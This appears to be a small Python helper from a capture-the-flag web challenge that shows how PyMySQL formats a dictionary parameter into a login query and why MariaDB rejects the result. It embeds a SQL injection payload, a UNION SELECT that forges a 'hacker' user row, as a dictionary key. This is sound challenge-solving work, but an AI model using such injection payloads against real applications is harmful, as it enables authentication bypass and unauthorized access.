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ctf/2026/cscg/web/ass/verify.py
2026-03-18 05:59:37 +01:00

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# 1. The exact query template from routes.py
sql = "SELECT * FROM users WHERE (BINARY CONCAT(principal, ',', region) = %s)"
# 2. The dictionary payload as it exists after unpack() in routes.py
user_dict = {
'x" UNION SELECT 1,\'hacker\',\'<hash>\',\'us\',1)-- ': 'irrelevant',
'token': 'mytoken'
}
# 3. How routes.py passes it to the query_handler: wrapped in a tuple
# cur = query_handler(sql, cur, (user,))
params = (user_dict,)
print("--- Standard Python % Formatting ---")
# This is essentially what happens when PyMySQL applies the parameters to the %s placeholder
formatted_query = sql % params
print(formatted_query)
print("\n--- Why MariaDB Hates It ---")
print(f"Starts with ODBC bracket: {formatted_query[formatted_query.find('{'):formatted_query.find('{')+1]}")
print(f"Followed immediately by a quote: {formatted_query[formatted_query.find('{')+1:formatted_query.find('{')+2]}")